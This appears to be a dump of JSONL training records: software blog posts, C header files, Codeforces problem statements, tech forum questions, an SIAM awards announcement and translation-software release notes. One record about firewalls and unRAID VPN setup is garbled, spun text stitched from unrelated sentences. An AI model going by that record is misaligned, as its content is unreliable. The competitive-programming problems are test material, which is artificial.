"cpt_codeforces"} {"text": "The role of software development is to produce software to solve a problem. The role of Agile software development is to learn as much about the solution as possible while developing, Agile does that mainly through ruthlessly begging for feedback, both on the product (e.g. sprint reviews, test-driven development and continuous delivery) and on the process (e.g. Scrum/Kanban boards, sprint retrospectives and standup). In between all these feedback sessions, you do ”normal” software development.\nThe role of user experience design (UX) is to produce a design to solve a problem (through user research and interaction design, of course). So, software development and user experience design go hand in hand, completing each other. Design and build.\nThe common misconception is that Lean UX also shall produce a design solution to a problem.\nThis is not the case. The role of Lean UX (and its progenitor Lean Startup) is to learn, but learn as much about the problem as possible. Lean UX does that through ruthlessly validating assumptions about the problem, the customer, their needs, the proposed solutions and the success metrics. Lean UX and Agile go hand in hand as well, learning about the problem and the solution, before, during and after development. In between all these validation sessions, you do ”normal” UX.\nOne situation where Lean UX is usually not used right due to the misconception is when you have had an ideation session and come up with possible solutions to a given problem. The Lean UX way of working would be to place those solutions in a risk vs. value matrix. For the solutions that end up in the high value and low risk corner, you do ”normal” UX since low risk means that you know enough about the assumptions around the solution. So you create a prototype and test that prototype with users to see if the workflow seems to solve the problem. For the solutions that end up in high value and high risk corner, you need to learn more and eliminate unknowns. In Lean UX, you create the smallest thing possible to mimic the intended experience of the solution (by creating a Riskiest Assumption Test, RAT, formerly known as MVP) to learn more about and (in)validate the solution. When you have learned enough, i.e. lowered the risk, you can do ”normal” UX again for that solution.Here’s an example: There’s a problem that people do not really use Lean UX as intended. One possible solution that lands in the high value high risk corner of the matrix would be to create a course for learning Lean UX. Instead of creating a prototype of the full course, detailing out different sections and exercises, you can create a nugget of teaching such as a five minute long YouTube clip or a blog post, and then ask some questions to see if they’ve learned the content. This would (in)validate the assumption that people can learn Lean UX in a course setting and reduces the risk of actually delivering one, such as Lean UX at Crisp, and getting feedback on that solution in production. 😀\nIt’s all about learning…", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 627, "token_count_with_eod": 628, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Evan Williams posts his list of rules for web startups here. These rules aren't just for startups though, they should be taken as general guidelines for building any sort of software.\nAlmost every software project, from a small feature addition to an existing product, to an entirely new idea, should be run with these same basic ideas. I can't understand people who still want to drop a big bang on the world with their projects. Rule #9, unless you're building pacemaker software, should be applied to all attempts at software creation. I've yet to come across a software project where anyone involved really know what they want at the start.\nSo don't spend time trying to cram everything in the world in to your software, just get it out the door, get some users on it, watch how they use it, and start refining. No one knows for sure how users will use their software until we actually put it in front of them. The rest of the rules will make sure that it gets where it needs to go from there.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 211, "token_count_with_eod": 212, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "/* \nThis code is from an open source platform BCOS, URL:https://github.com/bcosorg/bcos/tree/master/libpaillier\n*/\n\n#ifndef __HEADER_COMMON_H__\n#define __HEADER_COMMON_H__\n\n#include \"bn.h\"\n\n#define GET_U32(n, b, i) \\\n\t{ \\\n\t\t(n) = ((U32)(b)[(i)] << 24) | ((U32)(b)[(i) + 1] << 16) | ((U32)(b)[(i) + 2] << 8) | ((U32)(b)[(i) + 3]); \\\n\t}\n\n#define PUT_U32(n, b, i) \\\n\t{ \\\n\t\t(b)[(i)] = (U8)((n) >> 24); \\\n\t\t(b)[(i) + 1] = (U8)((n) >> 16); \\\n\t\t(b)[(i) + 2] = (U8)((n) >> 8); \\\n\t\t(b)[(i) + 3] = (U8)((n)); \\\n\t}\n\n#ifdef __cplusplus\nextern \"C\"\n{\n#endif\n\n\tS32 ConvertHexChar(S8 ch, U8 *ch_byte);\n\tS32 CharToByte(const S8 *pCharBuf, S32 charlen, U8 *pByteBuf, S32 *bytelen);\n\tS32 ByteToBN(U8 *pByteBuf, S32 bytelen, U32 *pwBN, S32 iBNWordLen);\n\tS32 BNToByte(U32 *pwBN, S32 iBNWordLen, U8 *pByteBuf, S32 *bytelen);\n\n\tvoid U8_Print(U8 *pwSource, S32 len);\n\tS32 U8_JE(U8 *pwX, U8 *pwY, S32 len);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif", "source": "cpt_stack_code", "language": "code", "token_count": 454, "token_count_with_eod": 455, "validation_channel": "code", "validation_source": "cpt_stack_code"} {"text": "I know that you can use the shortform word little in the longer word Littleton. But what if (Littleton) is in parentheses? One braille translation program I use results in Little being contracted, the other program I use uncontracts it. I'm assuming this is due to various interpretations of Rule 10.9.3(c). which says that the shortform must begin the word. When they say \"word\" here, do they mean the start of the symbol sequence? Or, since parentheses do not affect stand alone status, is it okay to use the shortform?\nAccording to 10.6.2, the beginning of a word is defined as the letters-sequence which follows a psace, hyphen or dash and which may be preceded by the punctuation and indicator symbols listed in 2.6.2 (which is the standing alone rule). The parentheses are listed in 2.6.2, so you CAN use the shortform for little in this instance.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 205, "token_count_with_eod": 206, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "You are given an array of $$$n$$$ positive integers $$$a_1, a_2, \\ldots, a_n$$$. Your task is to calculate the number of arrays of $$$n$$$ positive integers $$$b_1, b_2, \\ldots, b_n$$$ such that:\n\n- $$$1 \\le b_i \\le a_i$$$ for every $$$i$$$ ($$$1 \\le i \\le n$$$), and\n- $$$b_i \\neq b_{i+1}$$$ for every $$$i$$$ ($$$1 \\le i \\le n - 1$$$).\n\nThe number of such arrays can be very large, so print it modulo $$$998\\,244\\,353$$$.", "source": "cpt_codeforces", "language": "en", "token_count": 157, "token_count_with_eod": 158, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "Innokenty is a president of a new football league in Byteland. The first task he should do is to assign short names to all clubs to be shown on TV next to the score. Of course, the short names should be distinct, and Innokenty wants that all short names consist of three letters.\n\nEach club's full name consist of two words: the team's name and the hometown's name, for example, \"DINAMO BYTECITY\". Innokenty doesn't want to assign strange short names, so he wants to choose such short names for each club that:\n\n1. the short name is the same as three first letters of the team's name, for example, for the mentioned club it is \"DIN\",\n2. or, the first two letters of the short name should be the same as the first two letters of the team's name, while the third letter is the same as the first letter in the hometown's name. For the mentioned club it is \"DIB\".\n\nApart from this, there is a rule that if for some club x the second option of short name is chosen, then there should be no club, for which the first option is chosen which is the same as the first option for the club x. For example, if the above mentioned club has short name \"DIB\", then no club for which the first option is chosen can have short name equal to \"DIN\". However, it is possible that some club have short name \"DIN\", where \"DI\" are the first two letters of the team's name, and \"N\" is the first letter of hometown's name. Of course, no two teams can have the same short name.\n\nHelp Innokenty to choose a short name for each of the teams. If this is impossible, report that. If there are multiple answer, any of them will suit Innokenty. If for some team the two options of short name are equal, then Innokenty will formally think that only one of these options is chosen.", "source": "cpt_codeforces", "language": "en", "token_count": 418, "token_count_with_eod": 419, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "The average miner Vaganych took refresher courses. As soon as a miner completes the courses, he should take exams. The hardest one is a computer test called \"Testing Pants for Sadness\".\n\nThe test consists of n questions; the questions are to be answered strictly in the order in which they are given, from question 1 to question n. Question i contains ai answer variants, exactly one of them is correct.\n\nA click is regarded as selecting any answer in any question. The goal is to select the correct answer for each of the n questions. If Vaganych selects a wrong answer for some question, then all selected answers become unselected and the test starts from the very beginning, from question 1 again. But Vaganych remembers everything. The order of answers for each question and the order of questions remain unchanged, as well as the question and answers themselves.\n\nVaganych is very smart and his memory is superb, yet he is unbelievably unlucky and knows nothing whatsoever about the test's theme. How many clicks will he have to perform in the worst case?", "source": "cpt_codeforces", "language": "en", "token_count": 221, "token_count_with_eod": 222, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "//\n// MainTabBarViewController.h\n// MixSeafoodDemo\n//\n// Created by choushayne on 15/1/26.\n// Copyright (c) 2015年 ShayneChow. All rights reserved.\n//\n\n#import \n\n@interface MainTabBarViewController : UITabBarController\n\n@end", "source": "cpt_stack_code", "language": "code", "token_count": 80, "token_count_with_eod": 81, "validation_channel": "code", "validation_source": "cpt_stack_code"} {"text": "Alle 121Watt Ahrefs Bloofusion Germany Crawling Monday Farbentour Google Search Central Moz Neil Patel RustyBrick Barry Schwartz Search Engine Roundtable searchmetrics SISTRIX DE SpaceХ Website Boosting\nSmall Business Ideas for Beginners (Low Cost / Low Risk)\nIn this video, you’ll learn five small business ideas for beginners that are cheap and easy to start.\nAdditional Small Business Resources\nComplete SEO Course for Beginners: Learn to Rank #1 in Google ► https://www.youtube.com/watch?v=xsVTqzratPs\nAffiliate Marketing for Beginners: Complete A-Z Tutorial ► https://www.youtube.com/watch?v=W-nbsnXtSZI\nHow to Find a Niche for your Online Business ► https://www.youtube.com/watch?v=rUjZ0GRIx6M\nThese ideas are easy to implement because they require little to no money and come with virtually no risk but your time.\nThe first idea is called “SaaSaaS.”\nSaaS stands for Software as a Service and usually describes web-based software that companies create and license out to users. SaaSaaS stands for “Software as a Service … as a Service.” And this is when you sell services based around a SaaS tool.\nWatch the video to learn more about this idea.\nThe next small business idea is to start a niche drone videography business. And there are three advantages to starting a drone videography business:\n► It’s relatively cheap to start\n► It’s easy to get halfway decent at basic drone videography\n► You may charge quite a lot for this service.\nWant to learn more about starting this niche business? Watch the video.\nThe third small business idea is to become a voiceover actor. It’s about doing voiceovers for budget ads, commercials, screencasts, or whatever. It has two advantages:\n► Pretty much anyone can do it\n► It can pay well in terms of time/earnings ratio\nWatch the video to learn where to start here.\nThe next idea is to become a freelance content writer.\nThere are thousands of freelance content writers already. So the main question is: how do you build a freelance content writing business to make a six-figure budget per year? The oversimplified answer is to become a niche expert.\nWatch the video to learn how to do it.\nAnother small business idea is to create a niche affiliate website. Affiliates promote another company’s products or services in exchange for a commission when you refer a sale. The best thing about this business model is the lowest risk and lowest cost online business idea you can start today.\nWant to learn how to start your affiliate business? Watch the video.\n0:08 Start the so-called \"SaaSaaS\" business\n1:53 Start a niche drone videography business\n3:49 Become a voiceover actor\n5:43 Become a freelance content writer\n7:43 Create a niche affiliate website\n#smallbusinessideas #smallbusinessidea #smallbusiness\nBe sure to subscribe for more actionable marketing and SEO tutorials.\nAhrefs ► https://ahrefs.com/\nYouTube ► https://www.youtube.com/AhrefsCom?sub_confirmation=1\nFacebook ► https://www.facebook.com/Ahrefs\nDie letzten 10 YouTube Videos von Ahrefs\n- 29.11.2023 - The Google Loophole That Created Overnight Millionaires\n- 15.11.2023 - What Happens to SEO in a Recession (and How to Prepare)?\n- 01.11.2023 - I Tried to Rank #1 on Google in 24 Hours to Prove a Point\n- 18.10.2023 - Official Ahrefs Tutorial: How to use Ahrefs to Improve SEO\n- 04.10.2023 - The SEO Strategy to BREAK into Competitive Niches\n- 13.09.2023 - International SEO: Strategy to Boost Worldwide Traffic\n- 30.08.2023 - These ChatGPT Hacks Make Digital Marketing WAY Easier\n- 16.08.2023 - How I Would Learn Digital Marketing (If I Could Start Over)\n- 09.08.2023 - Meet The Best Looking SEO Book\n- 02.08.2023 - How to use HARO (And Alternatives)\nAlle Videos auflisten", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 952, "token_count_with_eod": 953, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "I’m stuck in the world between Apple and Microsoft. I would like to archive all of my work email from Outlook using Devonthink Office at home. I know there are several solutions to import an Outlook pst file into Apple Mail, but most are very cumbersome or another expense on top of my already escalating 3rd party software bill. My question is:\nIs there a way to import mail messages from an Outlook pst file directly into Devonthink Office? This feature (or Applescript) would be a wonderful lure to get some of my friends to take a serious look at Devonthink as an information manager. Not to mention it would make my life easier.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 136, "token_count_with_eod": 137, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Recently the Ubuntu newswires have been buzzing with the news that we have won our first smartphone partner.\nNow, let’s get the elephant in the room out of the way – I am not telling you who it is. It is not my place here to share confidential details about business-to-business relationships such as this. Rest assured though, I know the folks working on these relationships and there is a tremendous amount of opportunity for Ubuntu in these discussions; OEMs, carriers, ISVs and more are very interested in exploring Ubuntu for future products.\nThis is…spoiler alert…fantastic news.\nBut what does this news really mean for Ubuntu, and to what extent do our community play a part? Let’s dig into this a little bit.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 153, "token_count_with_eod": 154, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Well as said when i start or restart my pc, my pc just goes black for a few seconds then just goes straight to windows 10's loading screen without even showing up acers logo on the screen at first. (you know the screen where it displays your motherboards brand and some options to enter bios). Yeah it just skips that and just goes straight to windows 10. So yeah any way to like fix it? Thanks in advance.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "#ifndef SERIALTEST_H_\n#define SERIALTEST_H_\n\n#include \n#include \n\n/**\n * the file descriptor of the port that will be opened using open_port().\n */\nextern int streamFD;\nextern const char* RS232_DEVICE_const;\n\n#define USART3 3\n#define BAUDRATE B57600\n#define RS232_DEVICE \"dev/ttyUSB0\"\n\n/**\n * @brief returns streamFD.\n */\nint get_streamFD(void);\n\n\n/**\n * @brief Opens a port for serial communication.\n * @return returns an int that's the file descriptor of the opened port.\n */\nint open_port(void);\n\n/**\n * @brief gets one complete NMEA message from the GPS, through the serial port that its on.\n * @param[in] fd the file descriptor of serial port used for communication with the GPS\n * @param buffer the string buffer that the message will be written to.\n * @return returns the number of characters that were read for this NMEA sentence.\n */\nint fetch_sentence_from_gps(int fd, char* buffer);\n\n/**\n * @brief Blocking read of one byte from the serial port.\n *\n * @param[in] i Unused\n *\n * @return The read byte.\n */\nint usart_recv_blocking(int i);\n\n/**\n * @brief Open a serial connection on a specified port\n * @param[in] portname The name of the serial port\n * @return -1 for error and 1 for success.\n */\nint serial_start(const char* portname);\n\n/**\n * @brief Read one byte at a time from the MAVLink stream on the serial port\n * and populate the mavlink message struct as new bytes arrive.\n *\n * @param message The MAVLink message struct which is populated with the \n * parse data that's received from the serial port.\n *\n * @return 1 if a complete MAVLink message could be read, 0 otherwise.\n */\nint serial_read_message(mavlink_message_t* message);\n\n/**\n * @brief Write a mavlink message to the serial port.\n *\n * @param[in] message The MAVLink message to be written.\n *\n * @return The number of bytes written to the serial port (the size of the message).\n */\nint serial_write_message(const mavlink_message_t* message);\n\n/**\n * @brief Gets the number of seconds and milliseconds since epoch.\n *\n * @param tv the timeval struct (sys/time.h)\n * @param tz the timezone struct\n *\n * @return 0 for successful write to structs and -1 for failure.\n */\nint get_time_sec(struct timeval *tv, struct timezone *tz);\n\n#ifdef DEBUG\n/**\n * @brief Closes the opened serial ports.\n * Used in the signal handler to allow peaceful termination when a SIGINT is received\n *\n * @return The result of close()ing the opened ports (&&)\n */\nint handle_quit_serial();\n#endif\n\n\n#endif /* SERIALTEST_H_ */", "source": "cpt_stack_code", "language": "code", "token_count": 699, "token_count_with_eod": 700, "validation_channel": "code", "validation_source": "cpt_stack_code"} {"text": "SIAM Presents Awards and Prizes, Honors New Class of Fellows at 2010 Annual MeetingSeptember 15, 2010\nThe following recipients of SIAM awards and prizes were honored in Pittsburgh on July 13, during the 2010 SIAM Annual Meeting:\nI.E. Block Community Lecture. Dmitri Tymoczko, Princeton University; the lecture was titled \"The Geometry of Music.\"\nJulian Cole Lecture. John R. King, University of Nottingham, UK, with a lecture titled \"Mathematical Modelling of Tissue Growth.\"\nRichard C. DiPrima Prize. Colin B. Macdonald, Mathematical Institute, University of Oxford, UK, for his dissertation titled \"The Closest Point Method for Time-Dependent Processes on Surfaces.\"\nAWM–SIAM Sonia Kovalevsky Lecture. Suzanne Lenhart, University of Tennessee, Knoxville; the lecture was titled \"Mixing It Up: Discrete and Continuous Optimal Control for Biological Models.\"\nGeorge Pólya Prize. Emmanuel Candès, Stanford University, and Terence Tao, UCLA.\nW.T. and Idalia Reid Prize in Mathematics. John A. Burns, Virginia Polytechnic Institute and State University, who gave a prize lecture, \"William T. and Idalia Reid: His Mathematics and Her Mathematical Family.\"\nSIAM Awards in the Mathematical Contest in Modeling\nProblem A, The Continuous Problem: \"The Sweet Spot\"\nSolution: \"An Optimal Model of the ‘Sweet Spot' Effect\"\nStudents: Zhe Xiong, Qipei Mei, and Fei Han\nFaculty Adviser: Liang Gao\nHUST–Huazhong University of Science and Technology, PRC.\nProblem B, The Discrete Problem: \"Criminology\"\nSolution: \"Following the Trail of Data\"\nStudents: Joseph H. Gibney, Emily P. Meissen, and Yonatan Naamad\nFaculty Adviser: Peter Kramer\nRensselaer Polytechnic Institute.\nStudent Paper Prizes\nBubacarr Bah (Co-Author, Jared Tanner), University of Edinburgh, UK, for \"Improved Restricted Isometry Constant Bounds for Gaussian Matrices,\" submitted for publication in SIAM Journal on Matrix Analysis and Applications.\nRussell Carden, Rice University, for \"A Simple Algorithm for the Inverse Field of Values Problem,\" Inverse Problems, 25 (2009), 115019.\nKarin Leiderman (Co-Author, Aaron L. Fogelson), University of Utah, for \"Grow with the Flow: A Spatial-Temporal Model of Platelet Deposition and Coagulation under Flow,\" Mathematical Medicine and Biology, May 3, 2010, doi: 10.1093/imammb/dqq005.\nSIAM Prize for Distinguished Service to the Profession. Martin Grötschel, Vice President, Konrad-Zuse-Zentrum für Informations-technik Berlin (ZIB), and Professor, Technische Universität Berlin, Institut für Mathematik, Germany.\nThe John von Neumann Lecture. Bernd Sturmfels, University of California, Berkeley; the lecture was titled \"Algebra: From Linear to Non-Linear.\"\nThe members of the 2010 Class of SIAM Fellows are:\nUri M. Ascher, University of British Columbia\nAndrea L. Bertozzi, University of California Los Angeles\nSusanne C. Brenner, Louisiana State University\nJohn C. Butcher, University of Auckland\nStephen L. Campbell, North Carolina State University\nCarlos Castillo-Chavez, Arizona State University\nTony F. Chan, Hong Kong University of Science and Technology\nPeter Constantin, University of Chicago\nJohn E. Dennis, Jr., Rice University, Retired, and University of Washington\nIain S. Duff, Rutherford Appleton Laboratory, UK, and CERFACS, France\nPaul G. Dupuis, Brown University\nBjorn E. Engquist, University of Texas, Austin\nDonald Geman, Johns Hopkins University\nJohn R. Gilbert, University of California Santa Barbara\nMichael T. Heath, University of Illinois\nT.C. Hu, University of California San Diego\nGeorge Karniadakis, Brown University\nWilliam L. Kath, Northwestern University\nIoannis G. Kevrekidis, Princeton University\nBarbara Lee Keyfitz, Ohio State University\nRandall J. LeVeque, University of Washington\nAnders G. Lindquist, KTH---Royal Institute of Technology\nSteve McCormick, University of Colorado Boulder\nCarl D. Meyer, North Carolina State University\nJorge Nocedal, Northwestern University\nYousef Saad, University of Minnesota, Twin Cities\nFadil Santosa, University of Minnesota, Twin Cities\nRobert Schreiber, Hewlett-Packard\nMitchell D. Smooke, Yale University\nDanny C. Sorensen, Rice University\nGunther Uhlmann, University of Washington\nFrederic Y.M. Wan, University of California Irvine\nMichael I. Weinstein, Columbia University\nOlof B. Widlund, Courant Institute of Mathematical Sciences, New York University.\nTwo fellows were added to the 2009 class after the initial announcement:\nRobert B. Schnabel, Indiana University\nSuresh P. Sethi, University of Texas, Dallas.\nNewly named fellows gathered at the prize luncheon in Pittsburgh. Seated, left to right: Fred Wan, Suresh Sethi, Andrea Bertozzi, and Barbara Keyfitz. Standing, left to right: Carlos Castillo-Chavez, Mitchell Smooke, Carl Meyer, Michael Weinstein, Steve Campbell, Bill Kath, Uri Ascher, Michael Heath, Anders Lindquist, Randy LeVeque, Susanne Brenner, John Gilbert, Rob Schreiber, Peter Constantin, Gunther Uhlmann, Jorge Nocedal, and Danny Sorensen.\nThe recipients of the 2010 SIAM Student Paper Prizes, left to right, at the prize luncheon in Pittsburgh: Russell Carden (Rice University), Karin Leiderman (University of Utah), and Bubacarr Bah (University of Edinburgh, UK). The student paper prizes are given annually to recognize outstanding scholarship by students in applied mathematics or computing.\nColin Macdonald of the Mathematical Institute at the University of Oxford, UK, received the 2010 Richard C. DiPrima Prize, for research that contributed \"new insights for computing numerical solutions to PDEs on general curved surfaces.\"\nTim Lewis of the University of California, Davis, and Jonathan E. Rubin of the University of Pittsburgh, co-chairs of the organizing committee for the 2010 SIAM Conference on the Life Sciences, paused for a photo at the reception that followed the I.E. Block Community Lecture. The life sciences meeting was held jointly with the 2010 SIAM Annual Meeting.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1456, "token_count_with_eod": 1457, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "This group is locked. No changes can be made to the group while it is locked.\nDate 1 - 1 of 1\nTrack And Trace, failed on step 2: Navigate to the grid directory and run docker-compose #cal-invite\nNITCHEU MONKAM Junior\nI am new on hyperledger Domain. Now I am trying to set up the Track And Trace example from https://github.com/hyperledger/grid-contrib/tree/master/track_and_trace.\nOn the second step I have the error \"Service 'product-contract-builder' failed to build : Build failed\" when I execute the command \"docker-compose -f docker-compose.yaml -f ../grid-contrib/track_and_trace/docker-compose.yaml up --build\"\nPlease How Can I solve this issue?, Can someone help me please?\n|1 - 1 of 1|", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 177, "token_count_with_eod": 178, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Xenia the beginner mathematician is a third year student at elementary school. She is now learning the addition operation.\n\nThe teacher has written down the sum of multiple numbers. Pupils should calculate the sum. To make the calculation easier, the sum only contains numbers 1, 2 and 3. Still, that isn't enough for Xenia. She is only beginning to count, so she can calculate a sum only if the summands follow in non-decreasing order. For example, she can't calculate sum 1+3+2+1 but she can calculate sums 1+1+2 and 3+3.\n\nYou've got the sum that was written on the board. Rearrange the summans and print the sum in such a way that Xenia can calculate the sum.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "Re: Activating vim color?\nOn -1502-Thu, Jun 26, 2003 at 01:36:49PM +0800, Miranda, Joel Louie M spake thus,\n> Im using vi and I switch to vim, I was wondering what r the syntax to active\n> the color codes? Its just black n white. Im coding and I wasn hoping I can\n> activate the colors.\nYou'll want to get into vim and type-\nPut it in your ~/.vimrc and it'll come on each time. Also consider this-\nOr even just-\nIf all else fails, firstname.lastname@example.org is the user mailing list for vim, and there is also a large archive of tips and scripts on www.vim.org.\nGraphic Design // Web Design", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 182, "token_count_with_eod": 183, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Get a quick review of the user flow of the app to see where you are heading.\n- [Voiceover] As we get started working on the stand-alone Task Book app, I think a review of the user flow is in order. Now that you have a firm understanding of the content model, data structures, and how tasks work on the back end of WordPress, the user flow of the stand-alone app will make a lot more sense, and most of what you see will map directly to what we've been working with up until this point. When a user first visits the Task Book app, they land on a Login page. This Login page, in turn, redirects them to WordPress for authentication, so there you'd log in just like you would any other WordPress site before you get redirected back to Task Book app, and here you land on the task list page.\nThe \"Task list\" page, or view, is the list of the 10 most recent tasks indexed by the current user. You remember in the previous chapter, we set up each task as a private task, so a user who logs in will only see their own tasks, and thanks to how we configured capabilities and how we configured the REST API, the user will in fact see all their tasks as an index. If the user has no tasks, or if they want to log a new task, they will click on \"New task\". This takes them to the \"New task\" view, and from here they fill out the same information that you would fill out on the WordPress back end.\nTask title, the task description, then the prediction field, and the pre-stress level field. When the user clicks on \"Create task\", they are redirected back to the \"Task list\", and now the new task will appear at the top of the list, because it's the most recent task. The new task will be marked \"In Progress\", because so far, we've only filled out the prediction and pre-stress level fields, not the outcome field. To update the task, the user can now click on the task card here. They'll be directed to the \"In progress task\" view, where they can see the task title, the description, the prediction, and the pre-stress levels, and then they have the ability to fill out the actual outcome field and select the post-stress level field.\nIf this is filled out and they click \"Update task\", they are taken to the \"Completed task\" view, which is just a breakdown of the entire task, and now none of the content is editable anymore. And when they go back to the \"Task list\", they'll now see the task marked as \"Completed\" instead, so this is that status field we were talking about previously. On top of all this, we also have the \"Review\" view. In this view, we take the pre- and post-stress levels from each of the tasks and display them on a graph, so you can see the difference between pre- and post-stress levels over time.\nMake sense? Alright, let's go.\n- Planning the application\n- Extending WordPress with a plugin\n- Setting up the standalone application\n- Configuring OAuth 2 in WordPress\n- Building the task list view\n- Building the new task view\n- Creating a new task via the REST API\n- Displaying conditional content\n- Visualizing data using Graph.js", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Jun 24, 2010 · A firewall is a protective system that lies, in essence, between your computer network and the Internet. When used correctly, a firewall prevents unauthorized use and access to your network. The job of a firewall is to carefully analyze data entering and exiting the network based on your configuration. It ignores information that comes from an ... 502. (a) It is the intent of the Legislature in enacting this section to expand the degree of protection afforded to individuals, businesses, and governmental agencies from tampering, interference, damage, and unauthorized access to lawfully created computer data and computer systems. The Legislature finds and declares that the proliferation of computer technology has resulted in a conco Stack Exchange network consists of 176 Q&A communities including Stack Overflow, the largest, most trusted online community for developers to learn When I try using the browser to connect to my server, it times out and says it can not connect to that address.In unraid shares through openvpn to unraid openvpn - · GitHub Mullvad VPN -client · Privileged: On access using VPN. - on DNS from your tab · Click Add up open vpn on container · Name: vpn Community Re: Local storage Reverse Proxy NextCloud Server. Linux Unraid Server Route VM Isolation Host Network - Send a WoL to would like to use using VPN.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 278, "token_count_with_eod": 279, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "11/365/2018 Blog by rutty is licensed under CC BY-NC-SA I love taking photos and I also like to blog, so each photo I take for my 365 subsequently gets stuck up as a post on..\n10/1/2018 Darwin by rutty is licensed under CC BY-NC-SA This is the last of my Christmas beer, a present from my lovely Mum. She knows what makes me happy! The last time I got this..\nSteve Watson has some thoughts about where the Testing Community should be concentrating its efforts in 2018: It’s the 1st of January 2018, and at 3pm the rain and grey skies have cleared, and a..", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 159, "token_count_with_eod": 160, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "PointFire Translator version 220.127.116.11 is now available. Thank you to everyone who participated in the beta versions for the past year.\nThis is a major upgrade, which includes and requires a new version of the PointFire Translator app, also named version 18.104.22.168.\nIt makes it simple to translate Modern pages such as the ones in Communication and Teams sites and those produced by the Multilingual Page Publishing feature, as well as classic pages, documents, lists, and metadata. It has several interfaces, including via a SharePoint App, a web interface, scripting, and Power Automate.\nIf you were using version 1.2, the major change is that you do not need to install it on the workstation of the person carrying out the translation (although that is still supported), but it can be on a shared physical or virtual server. It runs under the identity of the person who called it via the app, it can also be called by Power Automate, and it supports the SharePoint Multilingual Page Publishing feature.\nIf you were using Beta 2, the major new feature is a PowerShell script to register the app and to create a Custom Connector for Power Automate\n- PointFire Power Translator is now called PointFire Translator Server. The app is now called PointFire Translator App.\n- Improved web interface, nicer and easier to use, separate scrollable areas for the results.\n- AppReg.ps1 script to automate Azure Application Registration\n- Creation of Custom Connector for Power Automate\n- Support for Power Automate via new http interface\n- Irish, Kazakh, European Portuguese and Brazilian Portuguese as separate languages\n- Māori, Marathi, Gujarati, Punjabi, Malayalam, Kannada, Assamese, Northern Kurdish, Central Kurdish, Dari, Pashto, Odia, French (Canada) non-SharePoint languages\n- Fixed 2 versions of Klingon: Klingon (Latin script) and Klingon (pIqaD script)\n- Supporting Multilingual Pages feature: when translating a page in a page library, or a set of pages that match a wildcard, overwrite the page if it is an untranslated copy\n- Supporting Multilingual Pages feature: translate original page title without the additional text for translators\n- Supporting Multilingual Pages feature: do not re-translate if the source item changes, unless the translated document is more recent than the current translation\n- Added changes to handle the documents parameter in translatedocument to include the folder structure.\n- Translate folder name in a wildcard pattern\n- \":o\" parameter in the language to overwrite a document with its translation\n- \":n\" parameter in the language to use original document file name with a suffix rather than translating the document file name.\n- If News webpart has Item Language filter, translate the filter condition\n- Licensing: check that the username is one of the allowed usernames whatever the method of authentication.\n- App feature: Select multiple documents or items\n- App feature: Select subset of target languages\n- Scripts to generate and install self-signed certificates for testing\n- Exclude some strings from translating, or specify the translation\n- Better handling of multiple exceptions in Parallel execution\n- Added functionality to translate Multilingual Translations list.\n- Single sign-on by obtaining access token, including configuration of Translator App\n- Support https\n- Can be hosted anywhere, not on localhost\n- locally stored credentials optional\n- locally stored credentials encrypted\n- Multiple licensees, API key applies to group of licensees\n- License key determines how many users can be licensed, whether domain wildcard is allowed\n- Improved security\n- Improved logging\n- Adjust Office registry setting to prevent popup dialogs\n- Improvements in MFA support\n- Improved support for 2019 and vanity domains\n- Retry after partial translation\n- Handle API throttling, other errors\n- Alternate API regional endpoints. Not extensively tested. Contact us for details.\nBug fixes and enhancements\nPointFire Translator can translate individual items or entire libraries or lists in SharePoint Online. It includes the PoinFire Translator App which will use PointFire Translator Server as a default translation service, and fall back to SharePoint's Machine Translation Service if PointFire Translator is not available.\nIt can be downloaded here (login required)\nMany thanks to the many testers who helped us get the product to this state.\nFor more information, contact firstname.lastname@example.org", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 918, "token_count_with_eod": 919, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "In this talk we will present several new results regarding what invertible linear operators can do to frames. We will start by characterizing the operators which send a given frame to a frame with the same frame operator. This leads to a new definition of equivalence of frames. We then turn our attention to the following question: When can we find an invertible linear operator which sends some fixed frame to an equal norm frame. First we will characterize the frames for which such operators exist, then we proceed to characterize these operators. We will conclude by presenting a new characterization of Parseval frames.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 116, "token_count_with_eod": 117, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "BYTE/DEPT is looking for a Senior Lead Designer in New York, USA. Not an ordinary Senior Lead Designer but the kind of Senior Lead Designer that makes other Senior Lead Designers question their Senior Lead Designer-ness.\nDesigners at Byte/Dept® bring to life authentic ideas that capture the audiences’ attention. They work within many different formats and social platforms, leveraging the latest tech. They combine strategic thinking with design, illustration and motion to 